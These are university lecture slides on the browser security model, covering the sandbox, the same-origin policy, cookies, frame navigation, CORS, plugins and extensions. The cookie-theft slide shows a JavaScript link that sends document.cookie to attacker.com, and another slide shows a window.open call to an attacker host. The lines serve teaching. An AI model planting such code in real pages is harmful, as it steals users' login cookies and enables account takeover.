Web Security
[Browser Security Model]

Spring 2020

Franziska (Franzi) Roesner
franzi@cs.washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Admin

• Assignments
  – Lab 1 due today
  – Homework 2 due next Friday
  – Lab 2 out next week (stay tuned)

• Guest lecture on Monday
  – Emily McReynolds (Microsoft) on law/policy
  – I will share a Zoom link via an Ed announcement in advance this time 😊
Two Sides of Web Security

(1) Web browser
   – Responsible for securely confining content presented by visited websites

(2) Web applications
   – Online merchants, banks, blogs, Google Apps ...
   – Mix of server-side and client-side code
     • Server-side code written in PHP, Ruby, ASP, JSP
     • Client-side code written in JavaScript
   – Many potential bugs: XSS, XSRF, SQL injection
All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages at the same time

• Safe delegation
Browser Security Model

Goal 1: Protect local system from web attacker
   → Browser Sandbox

Goal 2: Protect/isolate web content from other web content
   → Same Origin Policy
      (plus sandbox)
Browser Sandbox

Goals: Protect local system from web attacker; protect websites from each other

- E.g., safely execute JavaScript provided by a website
- No direct file access, limited access to OS, network, browser data, content from other websites
- Tabs (new: also iframes!) in their own processes
- Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

From Chrome Bug Bounty Program

<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>$15,000</td>
</tr>
</tbody>
</table>
Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

• Some examples of how messy it gets in practice...
• Browsers don’t (or didn’t) always get it right...

• Lots of cases to worry about it:
  – DOM / HTML Elements
  – Navigation
  – Cookie Reading
  – Cookie Writing
  – Iframes vs. Scripts
HTML + DOM + JavaScript

```html
<html>
  <body>
    <h1>This is the title</h1>
    <div>
      <p>This is a sample page.</p>
      <script>alert("Hello world");</script>
      <iframe src="http://example.com"></iframe>
    </div>
  </body>
</html>
```
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

**www.bank.com** (the parent) can access HTML elements in the iframe (and vice versa).

**www.evil.com** (the parent) cannot access HTML elements in the iframe (and vice versa).
Browser Cookies

- HTTP is stateless protocol
- Browser cookies used to introduce state
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets

![Diagram of HTTP request and response](image-url)

<table>
<thead>
<tr>
<th>HTTP Method</th>
<th>URL</th>
<th>Data/Headers</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>login.php</td>
<td>username and pwd</td>
</tr>
<tr>
<td>HTTPS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>GET</td>
<td>restricted.html</td>
<td>Cookie: login_token=13579</td>
</tr>
</tbody>
</table>

5/4/2018
Same Origin Policy: Cookie Reading

- Websites can only read/receive cookies from the same domain
  - Can’t steal login token for another site 😊

![Diagram showing the Same Origin Policy with examples of cookies and servers](image)
Same Origin Policy: Cookie Writing
[FYI, not covered in lecture]

Which cookies can be set by login.site.com?

allowed domains
✓ login.site.com
✓ .site.com

disallowed domains
✗ othersite.com
✗ .com
✗ user.site.com

login.site.com can set cookies for all of .site.com (domain suffix), but not for another site or top-level domain (TLD)
Same-Origin Policy: Scripts

- When a website includes a script, that script runs in the context of the embedding website.


- If code in script sets cookie, under what origin will it be set?
- What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets...
Example: Cookie Theft

- Cookies often contain authentication token
  - Stealing such a cookie == accessing account

- Cookie theft via malicious JavaScript
  ```html
  <a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie='+document.cookie; return false;">Click here!</a>
  ```

- Aside: Cookie theft via network eavesdropping
  - Cookies included in HTTP requests
  - One of the reasons HTTPS is important!

Firesheep

https://codebutler.github.io/firesheep/
SOP: Who Can Navigate a Frame? 
[FYI, not covered in lecture]

**Solution:** Modern browsers only allow a frame to navigate its “descendent” frames

```javascript
window.open("https://www.attacker.com/...", "awglogin")
```

If bad frame can navigate sibling frames, attacker gets password!
Cross-Origin Communication

• Sometimes you want to do it...
• Cross-origin network requests
  – Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often:
      Access-Control-Allow-Origin: *
• Cross-origin client side communication
  – HTML5 postMessage between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

*by Dan Goodin (US) - Jul 13, 2015 9:11am PDT*

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
Get ready to finally say goodbye to Flash — in 2020

Posted Jul 25, 2017 by Frederic Lardinois (@fredericl)
What about Browser Extensions?

• Most things you use today are probably extensions
• **Examples:** AdBlock, Ghostery, Mailvelope
• **Goal:** Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from malicious websites
  – **Privilege separation:** extensions consist of multiple components with well-defined communication
  – **Least privilege:** extensions request permissions
What about Browser Extensions?

- But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!

```
Add "Mailvelope"?

It can:
   - Read and change all your data on the websites you visit

[ ] Cancel  [ ] Add extension
```
Stepping Back

• **Browser security model**
  – **Browser sandbox**: isolate web from local machine
  – **Same origin policy**: isolate web content from different domains
  – Also: Isolation for **plugins and extensions**

• **Web application security (next week)**
  – How (not) to build a secure website